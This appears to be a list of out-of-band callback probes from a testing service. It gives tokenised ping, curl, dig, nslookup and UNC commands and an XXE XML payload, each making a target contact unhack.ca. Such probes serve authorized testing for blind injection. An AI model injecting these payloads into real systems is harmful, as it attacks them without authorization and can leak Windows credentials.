$ ping -c1 -p 00fb2a3c90dd481385f49efd7f167900 unhack.ca
 

$ curl http://unhack.ca/p/fb2a3c90dd481385f49efd7f1679
 

$ dig fb2a3c90dd481385f49efd7f1679 @unhack.ca
 

$ dig fb2a3c90dd481385f49efd7f1679.ns.unhack.ca
 

C:\> nslookup fb2a3c90dd481385f49efd7f1679 unhack.ca
 

C:\> type \\unhack.ca\fb2a3c90dd481385f49efd7f1679\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fb2a3c90dd481385f49efd7f1679">]>
    <foo>&xxe;</foo>